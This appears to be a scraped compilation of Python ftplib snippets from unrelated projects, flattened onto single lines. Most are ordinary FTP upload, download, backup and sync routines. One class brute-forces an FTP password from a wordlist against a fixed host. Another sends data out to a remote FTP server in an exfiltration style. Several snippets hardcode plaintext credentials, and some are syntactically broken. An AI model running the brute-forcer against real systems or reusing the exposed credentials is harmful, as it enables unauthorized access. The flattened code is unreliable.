def FileFTPz(): if(argv[1][-1] == '/'): argv[1] = argv[1][:-1] date = time.strftime("%d_%m_%Y_%Hh%M") ftp = FTP('backito.netai.net', 'a7747354', 'azerty') filepath = glob.glob(argv[1])[0] NameFile = splitext(basename(filepath))[0] extension = filepath.split('.')[-1] if extension != argv[1]: shutil.copyfile(argv[1], './' + NameFile + "_" + date + '.' + extension) ficdsk = (NameFile + "_" + date + '.' + extension) repdsk, ficdsk2 = os.path.split(ficdsk) ficftp = ficdsk2 with open(ficdsk, "rb") as f: ftp.storbinary("STOR " + ficftp, f) os.remove(NameFile + "_" + date + '.' + extension) else: shutil.copyfile(argv[1], './' + NameFile + date) ficdsk = (NameFile + date) repdsk, ficdsk2 = os.path.split(ficdsk) ficftp = ficdsk2 with open(ficdsk, "rb") as f: ftp.storbinary("STOR " + ficftp, f) os.remove(NameFile + date)
def download(self): path = self.host + "/" + self.data_dir + "/" + self.dirname print "downloading..." + path self.logger.info("downloading " + path) ftp = FTP(self.host) ftp.login() ftp.cwd(self.data_dir) ftp.cwd(self.dirname) files = ftp.nlst() is_found = False try: for f in files: if f.find(self.dateString + ".bin") != -1 or f.find(self.dateString + ".ctl") != -1: print f ftp.retrbinary("RETR " + f, open(f, "wb").write) is_found = True if is_found == False: print "[Error] Can't find files" self.logger.info("Can't find files") except: typ, message, trackback = sys.exc_info() print message self.logger.error(message) finally: ftp.close
def __get_ftp(self): # look for FTP configuration server = self.config.get('ALCHEMYDUMPS_FTP_SERVER', False) user = self.config.get('ALCHEMYDUMPS_FTP_USER', '') password = self.config.get('ALCHEMYDUMPS_FTP_PASSWORD', '') path = self.config.get('ALCHEMYDUMPS_FTP_PATH', '') # try to connect using FTP settings if server and user and password: try: ftp = FTP(server, user, password) change_path = ftp.cwd(path) if change_path[0:6] != '250 OK': ftp.quit() except error_perm: address = '{}:{}@{}{}'.format(user, '*' * len(password), server, path) print "==> Couldn't connect to ftp://{}".format(address) return False self.ftp_server = server self.ftp_path = path return ftp return False
def updateData(): # Check whether we have the newest JDF.zip print('Connecting to {0}'.format(SERVER)) ftp = FTP(SERVER) ftp.login() modify = int(ftp.sendcmd('MDTM {0}/{1}'.format(SERVER_DIR, SERVER_FILE)).split(' ')[1]) localModify = 0 try: with open('{0}/{1}'.format(DATA_DIR, MODIFY_FILE), 'r') as f: try: localModify = int(f.read()) except ValueError: pass except FileNotFoundError: pass try: with open('{0}/{1}'.format(DATA_DIR, SERVER_FILE), 'r') as f: pass except FileNotFoundError: localModify = 0 if modify > localModify: with open('{0}/{1}'.format(DATA_DIR, MODIFY_FILE), 'w') as f: print('Found newer version {0}, downloading...\n'.format(modify)) with open('{0}/{1}'.format(DATA_DIR, SERVER_LIST_STOPS), 'wb') as file: ftp.retrbinary('RETR {0}/{1}'.format(SERVER_LIST_DIR, SERVER_LIST_STOPS), file.write) with open('{0}/{1}'.format(DATA_DIR, SERVER_FILE), 'wb') as file: ftp.retrbinary('RETR {0}/{1}'.format(SERVER_DIR, SERVER_FILE), file.write) f.write(str(modify)) print('Done.') else: print('Current version {0} is up to date\n'.format(localModify)) ftp.quit()
def get_from_ftp(year, month, day, h, v): """Given a year, month, day and horizontal and vertical co-ordinate in the MODIS grid reference system, download the MOD09GA product from the FTP site. This checks to see if the destination local file exists, and if so uses it rather than downloading again. """ ftp = FTP("e4ftl01.cr.usgs.gov") ftp.login() files = ftp.nlst("MOLT/MOD09GA.005/%02d.%02d.%02d/" % (year, month, day)) for f in files: if re.search("h%02dv%02d.+\.hdf$" % (h, v), f): print f filename = f folder = dirname(filename) file = basename(filename) if os.path.exists(file): return file print "Downloading from FTP" ftp.cwd(folder) ftp.retrbinary('RETR %s' % file, open('%s' % file, 'wb').write) print "Downloaded file %s" % file ftp.close() return file
def get_files(): global local_directory import os, shutil, fnmatch if os.path.exists(local_directory): shutil.rmtree(local_directory) if not os.path.exists(local_directory): os.makedirs(local_directory) from ftplib import FTP. ftp = FTP('thecharlieforce.com') ftp.login('', '') ftp.cwd('web/audio') filenames = ftp.nlst() for filename in filenames: if fnmatch.fnmatch(filename, '*.mp3'): local_filename = os.path.join(local_directory, filename) file = open(local_filename, 'wb') ftp.retrbinary('RETR '+ filename, file.write) file.close() ftp.quit()
class FTP(GenericServer): def __init__(self, address, user='', passwd=''): ftp_server, root_address = address.split('/', 1) self.ftp = FTPpy(ftp_server) stat = self.ftp.login(user, passwd) logger.debug("login stat {}".format(stat)) if "Login successful" not in stat: logging.warning("FAIL: Could not login to ftp server {}\n error {}".format(ftp_server, stat)) return None stat = self.ftp.cwd(root_address) logger.debug("cwd {} stat {}".format(root_address,stat)) if "Directory successfully changed" not in stat: logging.warning("FAIL: Could not cd to server root directory {}\n error {}".format(root_address, stat)) return None self._ftp_server = address def fileexists(self, rel_path): stat = self.ftp.nlst(rel_path) if rel_path not in stat: logging.warning("FAIL: File {} not found.\nerror {}".format(rel_path, stat)) return None return self def getfile(self, rel_path, full_path): stat = self.ftp.retrbinary('RETR {}'.format(rel_path), open(full_path, "wb").write) if (stat != 0): logging.warning("FAIL: FTP repo '{}' does not have file '{}'\n". format(self._ftp_server,rel_path)) return False return True
def upload_files(file_list, cfg, logger): """ Upload list of files to pre-configurated server @param file_list: upload file list with full paths @param cfg: ParseConfig object """ start_time = datetime.now() root = cfg.get('ftp', 'root') uploads = dict(zip(file_list, map(lambda x: os.path.join(root, os.path.basename(x)), file_list))) logger.info('Uploading files: %s' ' '.join(uploads.values())) total_size = 0 # Checking files and counting for f in uploads: if not os.path.isfile(f): logger.critical('Unable to find file %s, unable to complete backup' % f) raise errors.BackupException('File not found: %s' % f) total_size += os.path.getsize(f) logger.info('Total size: %s' % format_size(total_size)) try: logger.info('Connecting to %s' % cfg.get('ftp', 'host')) ftp = FTP(cfg.get('ftp', 'host'), cfg.get('ftp', 'user'), cfg.get('ftp', 'password')) logger.info('Connected, starting upload') map(lambda filename: ftp.storbinary('STOR %s' % uploads[filename], open(filename)), uploads.keys()) elapsed_seconds = (datetime.now() - start_time).seconds if elapsed_seconds != 0: logger.info('Uploaded by %s seconds, speed: %s/s' % (elapsed_seconds, format_size(total_size/elapsed_seconds))) else: logger.info('Uploaded by zero seconds') ftp.close() except ftp_all_errors as e: logger.critical('Unable to complete ftp upload: %s' % e) raise errors.BackupException('Critical FTP error: %s' % e)
def freedroid_seeker(): url = "http://www.freedroid.org/" html = requests.get(url).text soup = BeautifulSoup(html, "lxml") version_span = soup.find("span", { "id": "download_lastversion"}) package_string = version_span.get_text().strip() package_folder = u".".join(package_string.split(u".")[:2]) package_sources_subdir = u"pub/freedroid/{package_folder}/{package}.tar.gz".format( package=package_string, package_folder=package_folder) version = u"-".join(package_string.split(u"-")[1:]) ftp_domain = u"ftp.osuosl.org" ftp = FTP(ftp_domain) ftp.login() try: data = ftp.sendcmd("MDTM {}".format(package_sources_subdir)) except: print(u"Error getting the modification time of:\n{}".format(u"ftp://{}/{}".format( ftp_domain, package_sources_subdir))) raise release_date = dateutil.parser.parse(data.split(u" ")[1]) return { "version": version, "reference_url": u"ftp://{}/{}".format( ftp_domain, package_sources_subdir), "release_date": release_date }
def upload(): try: con = FTP(SERVER, USER, PASSWORD, USER, TIMEOUT) except: debug_print("cant connect to %s@%s" % (SERVER, USER)) os.system("echo error: %s" % str(sys.exc_info()[1])) exit() debug_print("connected to %s@%s" % (SERVER, USER)) try: con.cwd(REMOTE_DIR) except: debug_print("cant change folder to %s" % (REMOTE_DIR)) os.system("echo error: %s" % str(sys.exc_info()[1])) exit() debug_print("changed folder to to %s" % (REMOTE_DIR)) remote_name = LOCAL_FILE.split("/")[-1] try: con.storbinary("STOR %s" % (remote_name), open(LOCAL_FILE,"rb")) except: debug_print("upload failed") os.system("echo error: %s" % str(sys.exc_info()[1])) exit() debug_print("successfully uploaded")
def UNZIP(): ftp = FTP('backito.netai.net', 'a7747354', 'azerty') print ftp.dir() print("Entrez le nom du fichier que vous voulez telecharger :") filename = input("> ") gFile = open(filename, "wb") ftp.retrbinary('RETR %s' % filename, gFile.write) gFile.close() if filename.endswith(".zip"): print("Voulez vous extraire le fichier? (oui ou non)") # reponse = input("> ") oui = set(['oui','o']) non = set(['non','n']) reponse = raw_input("> ").lower() if reponse in oui: fh = open(filename, 'rb') z = zipfile.ZipFile(fh) for name in z.namelist(): outpath = "./" z.extract(name, outpath) fh.close() elif reponse in non: print filename + " non extait" else: print("Vous devez ecrire 'oui' ou 'non'")
def VerARG(): if len(sys.argv) < 2: print("ERREUR! Entrez 'backup.sh -help'") else: if argv[1] == "-view": ftp = FTP('backito.netai.net', 'a7747354', 'azerty') print ftp.dir() elif argv[1] == "-recup": UNZIP() elif argv[1] != "-help": if len(sys.argv) >= 4: if argv[2].isdigit(): VerEXIST() else: print ("Veuillez entrer un temps correcte !") else: print("ERREUR! Entrez 'backup.py -help'") else: print("USAGE : [./backup.py] [dossier/fichier] [temps] [-local/-reseau] [dossier de sauvegarde]") print(" -local : sauvegarde en local") print(" -reseau : sauvegarde sur serveur ftp") print(" -recup : recuperer un fichier sur le serveur ftp") print(" -view : voir les fichiers sur le serveur ftp")
def collect_site(self,addr): self.file_count=0 print "site: ",addr[0] fail_count=0 while fail_count<=MAXFAIL: try: try: ftp=FTP(addr[0],timeout=TIME_OUT) except: print "FTP error" raise ftplib.Error login_res=ftp.login(user=addr[1],passwd=addr[2]) if login_res.find("230")==-1:return "can not login" print "debug: login success" dirname="" if addr[1]=="anonymous" and addr[2]=="anonymous": dirname=addr[0] else: dirname=addr[1]+":"+addr[2]+"@"+addr[0] if not os.listdir(".").count(dirname):os.mkdir(dirname) os.chdir(dirname) try: recu_result=self.recursive("/",ftp) except: os.chdir("..") return "recursion error" os.chdir("..") return recu_result except: fail_count+=1 if fail_count>=MAXFAIL: self.fail_site.write(":".join(addr)+"\n") return "collect site: %s error"%addr[0] os.system("sleep "+CONNECT_INTERVAL)
def process(self): self.loadRules() ftp_host = self._plugin.get("config", "ftp_server") ftp_port = self._plugin.get("config", "ftp_port") ftp_user = self._plugin.get("config", "ftp_user") ftp_pswd = self._plugin.get("config", "ftp_user_password") sleep_time = self._plugin.get("config", "tSleep") remote_file = self._plugin.get("config", "remote_filename") while not self.stop_processing: #connecto to ftp server and retreive the file try: ftp_conn = FTP(ftp_host) filename = "/tmp/file_%s"% time() file_tmp = open(filename,'wb') ftp_conn.login(ftp_user,ftp_pswd) cmd = "RETR " + remote_file self.loginfo(Lazyformat("FTP cmd: {}", cmd)) ftp_conn.retrbinary(cmd,file_tmp.write) file_tmp.close() #read the file file_tmp = open(filename) for line in file_tmp: self.tryMatchRule(line) sleep(0.001) file_tmp.close() os.remove(filename) except Exception,e: self.logerror(Lazyformat("FTP connection to {} failed: {}", ftp_host, e)) sleep(float(sleep_time))
class ftpThread(threading.Thread): def __init__(self, files, config): threading.Thread.__init__(self) self.files = files self.config = config def ftpGoToDir(self, dir): dirList = dir.split("/") if dirList[0] == " ": self.ftp.cwd("/") self.ftpGoToDir("/".join(dirList[1:])) elif len(dirList): filelist = [] self.ftp.retrlines('LIST', filelist.append) if dirList[0] in [ fl.split(" ")[-1] for fl in filelist ]: self.ftp.cwd(dirList[0]) else: self.ftp.mkd(dirList[0]) self.ftp.cwd(dirList[0]) if len(dirList) > 1: self.ftpGoToDir("/".join(dirList[1:])) def run(self): self.ftp = FTP(self.config["deploy"]["host"], self.config["deploy"]["username"], self.config["deploy"]["password"]) for f in self.files: self.ftpGoToDir(os.path.dirname(" %s%s" % (self.config["deploy"]["path"], f["addDir"]))) fl = open(f["src"], "rb") self.ftp.storbinary("STOR %s%s" % (self.config["deploy"]["path"], f["addDir"]), fl) fl.close() sublime.status_message("Deployed to %s%s" % (self.config["deploy"]["path"], f["addDir"])) self.ftp.close()
def processa(self): url = 'ftp.ssec.wisc.edu' caminho = 'pub/abba/v65/goes-13/text/' + self.diretorio() entrada = settings.WFABBA_PATH + '/entrada/' saida = settings.WFABBA_PATH + '/saida/' ftp = FTP(url) ftp.login() ftp.cwd (caminho) try: files = ftp.nlst() except ftplib.error_perm as resp: if str(resp) == "550 No files found": print("No files in this directory") else: raise for arquivo in files: naoExisteEntrada = not path.exists(entrada + arquivo) naoExisteSaida = not path.exists(saida + arquivo) if naoExisteSaida and naoExisteEntrada: gravar = entrada + arquivo ftp.retrbinary('RETR ' + arquivo, open(gravar, 'wb').write) ftp.quit()
def ftp_results_page(self): ftp = FTP(self.ftp_host, self.ftp_user, self.ftp_pass) ftp.cwd('/public_html/h/selenium/history') fname = '%s-%s.html' % ( self.drivername, self.timestamp) f = open('%s/history/%s' % ( self.out_path, fname) ) ftp.storbinary('STOR %s' % fname, f) f.close()
def runFtpDownload(arguments): if arguments["--debug"]: print "Downloading from FTP server..." # Establish FTP session session = FTP(arguments["<ftp_server_ip>"]) session.set_pasv(True) response = session.login(arguments["<ftp_username>"], arguments["<ftp_password>"]) if not "successful" in response: print "FTP login not successful." raise IOError # Get file, then terminate FTP session try: fileh = open(testfile, "wb") except IOError as e: print "Cannot open local file to write to." session.quit() raise e start_time = datetime.datetime.now() session.retrbinary("RETR " + testfile, fileh.write) end_time = datetime.datetime.now() fileh.close() session.quit() # Calculate download rate delta = end_time - start_time # timedelta object elapsed = delta.total_seconds() statinfo = os.stat(testfile) size = statinfo.st_size download_rate = size / elapsed return int(download_rate * 8)
def __init__(self): FTP.__init__(self, env_variables.ftp_server) try: self.login(env_variables.ftp_login, self._get_word()) except Exception: logging.error("could not log in on FTP server", exc_info=True) raise RuntimeError
def _get_ucsc_download_address(params, dbkey): """ Check if we can find the correct file for the supplied dbkey on UCSC's FTP server """ UCSC_FTP_SERVER = 'hgdownload.cse.ucsc.edu' UCSC_DOWNLOAD_PATH = '/goldenPath/%s/bigZips/' COMPRESSED_EXTENSIONS = ['.tar.gz', '.tgz', '.tar.bz2', '.zip', '.fa.gz', '.fa.bz2'] email = params['param_dict']['__user_email__'] if not email: email = '*****@*****.**' ucsc_dbkey = params['param_dict']['reference_source']['requested_dbkey'] or dbkey UCSC_CHROM_FA_FILENAMES = ['%s.chromFa' % ucsc_dbkey, 'chromFa', ucsc_dbkey] ftp = FTP(UCSC_FTP_SERVER) ftp.login('anonymous', email) ucsc_path = UCSC_DOWNLOAD_PATH % ucsc_dbkey path_contents = _get_files_in_ftp_path(ftp, ucsc_path) ftp.quit() for ucsc_chrom_fa_filename in UCSC_CHROM_FA_FILENAMES: for ext in COMPRESSED_EXTENSIONS: if "%s%s" % (ucsc_chrom_fa_filename, ext) in path_contents: ucsc_file_name = "%s%s%s" % (ucsc_path, ucsc_chrom_fa_filename, ext) return "ftp://%s%s" % (UCSC_FTP_SERVER, ucsc_file_name) raise Exception('Unable to determine filename for UCSC Genome for %s: %s' % (ucsc_dbkey, path_contents))
def upload_files(self, file_names): log = [] try: ftp = FTP(self.host, self.user, self.password) ftp.cwd(self.directory) except: ftp.quit() return 0 try: for x in file_names: full_name = os.path.abspath(x) file = open(full_name, "rb") file_hash = str(crc32(file.read(1048576))) # Read in 1MB file.seek(0) file_name = "{0}-{1}".format(file_hash[:3], os.path.basename(full_name)) result = self.url + urllib.quote(file_name) + "\n"; result += ftp.storbinary("STOR " + file_name, file) log.append(result) except: ftp.quit() return 1 ftp.quit() return "\n".join(log)
def do_download_images(self): screenshots = self._get_files() files = screenshots files.sort() ftp_host = settings.MUZE_FTP['host'] ftp_username = settings.MUZE_FTP['username'] ftp_password = settings.MUZE_FTP['password'] print 'Connecting to ftp://%s@%s' % (ftp_username, ftp_host) ftp = FTP(ftp_host) ftp.login(ftp_username, ftp_password) file_count = len(files) file_prefix = settings.MEDIA_ROOT + '/muze/ImageFull' for fname, i in itertools.izip(files, itertools.count()): print '%s... [%d of %d]' % (fname, i, file_count) file_name = file_prefix + '/' + fname if os.path.exists(file_name): continue d = '/'.join(file_name.split('/')[:-1]) if not os.path.exists(d): os.makedirs(d) try: f = open(file_name, 'w') def callback(b): f.write(b) ftp.retrbinary('RETR /media/ImageFull/%s' % fname, callback) f.close() except: os.unlink(file_name)
def MainClass(): global ftp global con Host Port ftp = FTP() con = ftp.connect(Host, Port) # Connects to the host with the specified port
def downloadData(m_id,type): """ Retrieves MMETSP data from CAMERA ftp. For a listing of available transcriptomes \ check http://bit.ly/1e2ZqvC """ ftp = FTP('portal.camera.calit2.net','anonymous','*****@*****.**') ftpdir = 'ftp-links/cam_datasets/projects/additional/CAM_P_0001000' if type == 'reads': ftpfile = ftpdir + '/read/{}.fastq.tar'.format(m_id) ftpout = m_id + '.ncgr.fq.tar' elif type == 'annotation': ftpfile = ftpdir + '/annotation/{}.annot.tgz'.format(m_id) ftpout = m_id + '.ncgr.annot.tgz' elif type == 'peptides': ftpfile = ftpdir + '/assemblies/{}.pep.fa.gz'.format(m_id) ftpout = m_id + '.ncgr.pep.fa.gz' elif type == 'contigs': ftpfile = ftpdir + '/assemblies/{}.nt.fa.gz'.format(m_id) ftpout = m_id + '.ncgr.nt.fa.gz' elif type == 'cds': ftpfile = ftpdir + '/assemblies/{}.cds.fa.gz'.format(m_id) ftpout = m_id + '.ncgr.cds.fa.gz' else: print 'wrong data type. Valid types: reads, annotation, peptides, contigs, cds' print HEADER + 'Downloading' + ftpfile + HEADER ftp.retrbinary('RETR ' + ftpfile, open(ftpout, 'wb').write) ftp.quit()
class FTP_Get(): def __init__(self, logger): self.logger = logger self.ftp_conn = None def connect(self, host, user, passwd, acct, timeout): try: self.logger.info('Connecting to FTP host @ %s', host) self.ftp_conn = FTP(host, timeout=timeout) self.logger.info('Attempting to log in...') self.ftp_conn.login(user, passwd, acct) except socket.error, e: self.logger.error('An error occurred connecting to FTP host @ %s', host) self.logger.debug(str(e)) if(self.ftp_conn): self.ftp_conn.quit() self.ftp_conn = None raise except ftplib.Error, e: self.logger.error('An FTP error occurred while connecting and logging in.') self.logger.debug(str(e)) if(self.ftp_conn): self.ftp_conn.quit() self.ftp_conn = None raise
class FtpGuesser: def __init__(self): self.user="******" self.psswd="msfadmin" self.ftp="" self.host="192.168.1.62" self.pswdFound=False def login(self): #open a pass dictionary fOpened=open("/home/fuckyou/Documents/1aNormusWL.txt") self.ftp=FTP(self.host) for psswd in fOpened: try: self.ftp.login(self.user,psswd) self.ftp.cwd("/home/") print(self.ftp.dir()) self.pswdFound=True self.psswd=psswd except Exception as e: time.sleep(3) if(self.pswdFound): print("logged in with password ", self.psswd) else: print("No se encontro el pass")
def fetch_database(output_dir): """ Scan the FTP sources for data sets to use and download them to a temp folder TODO Only download new data? :param output_dir: Path to mirror the files too :type output_dir: unicode :return: download success status :rtype: bool """ hosts = [ ["ftp.fu-berlin.de", "/pub/misc/movies/database/"], ["ftp.funet.fi", "/pub/mirrors/ftp.imdb.com/pub/"], ["ftp.sunet.se", "/pub/tv+movies/imdb/"] ] for host, root in hosts: try: ftp = FTP(host) ftp.set_debuglevel(1) ftp.login() ftp.cwd(root) files = ftp.nlst() for f in [f for f in files if f.endswith("gz")]: ftp.retrbinary("RETR {}".format(f), open(join(output_dir, f), 'wb').write) except Exception: log.exception("Failed to download database files") else: return True return False
class YFtp(object): """docstring for YFtp""" ftp = '' def __init__(self): pass def connectHost(self,host,port,user,passwd): print (host,port,user,passwd) self.ftp = FTP() print("Done 1") print ( self.ftp.connect(host,int(port)) ) print ( self.ftp.login(user,passwd) ) print("Done 2") def getList(self): #self.ftp.retrlines('LIST') print ( ftpui.listServerFiles.count ) print ( ftpui.listServerFiles.currentRow ) #print ( ftpui.listServerFiles.item(0) ) yyy = [] self.ftp.retrlines("LIST", yyy.append) ftpui.listServerFiles.addItem("some") for y in yyy: ftpui.listServerFiles.addItem(str(y))
def main(): if len(sys.argv) == 2: tzdata = sys.argv[1] else: from ftplib import FTP print("Connecting to %s..." % SERVER) ftp = FTP(SERVER) print("Logging in...") ftp.login() print("Changing to %s..." % DIR) ftp.cwd(DIR) print("Listing files...") for name in ftp.nlst(): if NAME.match(name): break else: sys.exit("error: file matching %s not found" % NAME.pattern) if os.path.isfile(name): print("Found local %s..." % name) else: print("Retrieving %s..." % name) file = open(name, "w") ftp.retrbinary("RETR "+name, file.write) file.close() ftp.close() tzdata = name if not tzdata or not NAME.match(tzdata): sys.exit("Usage: updatezinfo.py tzdataXXXXX.tar.gz") print("Updating timezone information...") rebuild(tzdata, NAME.match(tzdata).group(1)) print("Done.")
def upload(): """Here thar be FTP lads!""" if VERBOSE > 0: print('Upload sequence initiated. Connecting to Weather Underground...') wu_conn = FTP('webcam.wunderground.com') if VERBOSE > 0: print('Using login credentials for user: '******'2': if VERBOSE > 0: print('Login accepted. Uploading...') upl = wu_conn.storbinary('STOR image.jpg', open(OUTPATH, 'rb')) if upl[0] == '2': if VERBOSE > 0: print('Upload success.') else: if VERBOSE > 0: print('Upload failed.') elif login[0] == '5': if VERBOSE > 0: print('Login rejected. Adjust username and password.') else: if VERBOSE > 0: print('Status:' + login) if VERBOSE > 0: print('Exiting FTP connection.') wu_conn.quit()
def negotiatedTransmit(self, data_to_transmit,config=None): if config: self.username = config["ftp"]["username"] self.password = config["ftp"]["password"] self.port = int(config["ftp"]["port"]) print("[+] Sending FTP Data") try: ftp = FTP() ftp.connect(self.remote_server, self.port) except socket.gaierror: print "[*] Error: Cannot connect to FTP server. Checking provided ip!" sys.exit() try: ftp.login(self.username, self.password) except error_perm: print "[*] Error: Username or password is incorrect! Please re-run." sys.exit() if not self.file_transfer: ftp_file_name = helpers.writeout_text_data(data_to_transmit) ftp.storbinary( "STOR " + ftp_file_name, open(helpers.ea_path() + "/" + ftp_file_name)) os.remove(helpers.ea_path() + "/" + ftp_file_name) else: ftp.storbinary("STOR " + self.file_transfer, open(self.file_transfer)) ftp.quit() print "[*] File sent!!!"
for d in dirs: remove_dir(d[0]) ftp.cwd('..') print('Working dir:', ftp.pwd()) print('Removing dir:', path) ftp.rmd(path) except error_perm as e: print('REMOVE ERROR') print(e) if not e.args[0].startswith('550'): raise ftp = FTP(host, user, pwd) ftp.encoding = 'utf-8' try: ftp.login() except error_perm: pass print(dest_path) dir_name = dest_path.split('/')[-1] try: ftp.cwd(dest_path) print(dir_name) ftp.cwd('..') remove_dir(dir_name)
def ftp_client(self): self.__ftp_client__ = self.__ftp_client__ or FTP(self.host) return self.__ftp_client__
def push(): print('------------------------------------------------') print('start push at {t}\n'.format(t=gen_time())) ftp = FTP(config.ftp_ip) ftp.encoding = 'utf-8' ftp.login(user=config.ftp_user,passwd=config.ftp_pwd) remote_files = [x for x in remote_iterator(ftp)] local_files = [x for x in local_iterator()] tasks = push_task_gen(local_files, remote_files) buffsize = 1024 for task in tasks: if task['type'] == 'update' or \ (task['type'] == 'add' and not task['isdir']): # 普通文件的情况 local_file = open(task['from_addr'], 'rb') print(task['from_addr']) ftp.storbinary('STOR ' + task['to_addr'], local_file, buffsize) # 上传文件 elif task['type'] == 'add' and task['isdir'] : # 要建立文件夹的情况 ftp.mkd(task['to_addr']) elif task['type'] == 'del': addr = task['addr'] if task['isdir']: ftp.rmd(addr) else: print(addr) ftp.delete(addr) ftp.close()
from ftplib import FTP import datetime ftp = FTP("open.iub.gov.lv") ftp.login("anonymous", "") now = datetime.datetime.now() year, month, day = now.strftime("%Y,%m,%d").split(',') day = '02' # template to current file path = '/{}/{}_{}/{}_{}_{}.tar.gz'.format(year, month, year, day, month, year) filename = '{}_{}_{}.tar.gz'.format(day, month, year) try: file = open(filename, 'wb') ftp.retrbinary('RETR {}'.format(path), file.write) file.close() except Exception as e: print(e) finally: ftp.quit()
def test_RegEmail(self): # os.chdir('C:\tmp') ftp = FTP('192.168.218.135') print(ftp.login()) ftp.cwd('/medo') foldername = 'in' if foldername in ftp.nlst(): ftp.cwd(foldername) for f in ftp.nlst(): ftp.delete(f) ftp.cwd('..') ftp.rmd(foldername) else: pass ftp.mkd(foldername) ftp.cwd('/medo/script') files = ftp.nlst() for f in files: temp_f = open(f, 'wb') ftp.cwd('/medo/script') ftp.retrbinary('RETR ' + f, temp_f.write) ftp.cwd('/medo/in') ftp.storbinary('STOR ' + f, open(f, 'rb')) # os.remove(f) time.sleep(10) home = HomePage(self.driver) result = home.authorization("oj/ab") assert "А. В. Антонов" in result.verif_autorization() home.regNewDoc("e-mail")
#!/usr/bin/env python # A plugin to check gamma radiation levels in Iceland # It fetches eurdep messages from opid-ftp.gr.is # You need to have eurdep module installed (pip install eurdep) import sys from ftplib import FTP import os import eurdep import datetime import time datadir = "/tmp/eurdep-data" ftp = FTP('opid-ftp.gr.is') ftp.login(user='******', passwd='') result = [] wtf = lambda x: result.append(x) s = ftp.retrlines('LIST Gammastodvar', callback=result.append) if not os.path.isdir(datadir): os.makedirs(datadir) def save_file(full_path, data): open(full_path, 'a').write(data) pass for i in result:
def retrieve_photos(self): photos = [] rospy.loginfo("try to connect to ftp server") ftp = FTP('192.168.42.1', timeout=30) ftp.login() rospy.loginfo('Connected') ftp.cwd('internal_000/Bebop_2/media') while True: file_names = [f for f in ftp.nlst() if 'jpg' in f] rospy.loginfo("Files %s", file_names) if file_names: for name in file_names: rospy.loginfo("Try to retrieve %s", name) f = BytesIO() cmd = 'RETR {f}'.format(f=name) ftp.retrbinary(cmd, f.write) f.seek(0) photos.append((name, f)) ftp.delete(name) return photos rospy.sleep(1)
class FTPrsync(object): """ FTP 远程同步到本地 """ def __init__(self, debug=0): from ftplib import FTP, error_perm self.ftp = FTP() self.error_perm = error_perm self.bufsize = 1024 self.ftp.set_debuglevel(debug) print 'ftp sync init' def out(self, x): print x def Connection(self, host='127.0.0.1', port=21, timeout=60): """ function:连接FTP """ self.ftp.connect(host, port, timeout) # 连接FTP def Login(self, user='', pwd=''): """ function:登陆FTP账户 """ self.ftp.login(user, pwd) # 登录 def mkdirs(self, folder): """ function:创建目录 """ try: if not os.path.isdir(folder): os.makedirs(folder) self.out("Created directory: " + folder) except OSError: print "Created directory failed to " + folder def uploadFile(self, ftp, remotepath, localpath): self.ftp.storbinary('STOR ' + remotepath, open(localpath, "rb"), self.bufsize) #上传文件 self.ftp.set_debuglevel(self.debug) self.out("upload: " + remotepath) def downloadFile(self, remotepath, localpath): """ function:下载ftp指定文件保存成指定文件 params: remotepath >> 下载ftp的文件路径 localpath >> 保存本地的文件路径 """ self.ftp.retrbinary("RETR " + remotepath, open(localpath, "wb").write, self.bufsize) self.out("downloaded: " + remotepath) def traverse_DownloadFile(self, tree=True): """ function:遍历当前目录,下载所有文件并保留目录结构 params: tree >> True 保留原始分支结构 tree >> False 非 """ fileList = self.ftp.nlst() for fileName in fileList: try: self.ftp.cwd(fileName) if tree: self.mkdirs(fileName) os.chdir(fileName) #设置本地路径 self.traverse_DownloadFile(tree) except self.error_perm: try: self.downloadFile(fileName, fileName) except: print("Error: File could not be downloaded " + fileName) try: self.ftp.cwd('../') if tree: os.chdir('../') except: print("Error: could not change to ../") def sync(self, source, destination, tree=False): #source = dicompath, destination = outpath """ function:同步ftp目录到本地目录 params:source >> ftp目录 destination >> 本地存放目录 tree >> True 保留原始分支结构 """ try: source_from = [] for ftp_path in source: if 'CT' in ftp_path: source_from.append(ftp_path) dicompath = source_from[-1] dicompath = os.path.split(dicompath)[0] dicompath = dicompath.replace('ftp://172.19.20.30/', '') self.ftp.cwd(dicompath) # 设置FTP路径 self.mkdirs(destination) #创建本地目录 os.chdir(destination) #设置本地路径 fileList = self.ftp.nlst() print fileList unzip_list = [] for i in fileList: v = os.path.join(destination, i) self.downloadFile( i, v) # downloadFile(self, remotepath, localpath): unzip_list.append(v) time.sleep(1) for unzip_path in unzip_list: if unzip_path[-2:] == 'PK': unzip(unzip_path, destination) os.remove(unzip_path) except OSError: out("Error: could not change the local path to " + destination) except self.error_perm: out("Error: could not change to " + dicompath) out(traceback.format_exc()) #sys.exit("Ending Application") finally: self.ftp.quit()
def _connectToFTP(host, user, password): print green("** Connecting to the server **") ftp = FTP(host=host, user=user, passwd=password) return ftp
def _import_tracking_num(self): cwd = "TEST" ftp = FTP("62.214.48.227") ftp.login('relaxound', 'qOIg7W1Cic1vSNU') ftp.cwd('/' + cwd) filename = self._sort_data(cwd, ftp) file_path = 'src/user/TRACKING-NUMBER/' + filename # server location # src/user/TRACKING-NUMBER/ localfile = open(file_path, 'wb') ftp.retrbinary('RETR ' + ftp.pwd() + '/' + filename, localfile.write, 1024) localfile.close() current_date = fields.Datetime.now() date_time = current_date.strftime("%m-%d-%Y %H.%M.%S") new_name = 'TRACKING_old_%s.csv' % (date_time) # print('new name ==============>', new_name) try: file = open(file_path) # print ('file ===================>', file) for line in file.readlines()[1:]: data = line.split(',', 1) # print("line, data --------------------->", line, data[0].replace('"', ''), data[1].replace('"', '')) delivery = self.env['stock.picking'].search([ ('origin', '=', data[0].replace('"', '')) ]) # # print ('delivery ====================>', delivery) if delivery: delivery[0].write( {'carrier_tracking_ref': data[1].replace('"', '')}) file.close() os.rename(file_path, 'src/user/TRACKING-NUMBER/' + new_name) ## server location # src/user/TRACKING-NUMBER/ ftp.rename(ftp.pwd() + "/" + filename, new_name) except Exception as e: _logger.warning('invalid custom view(s) for: %s', tools.ustr(e)) pass
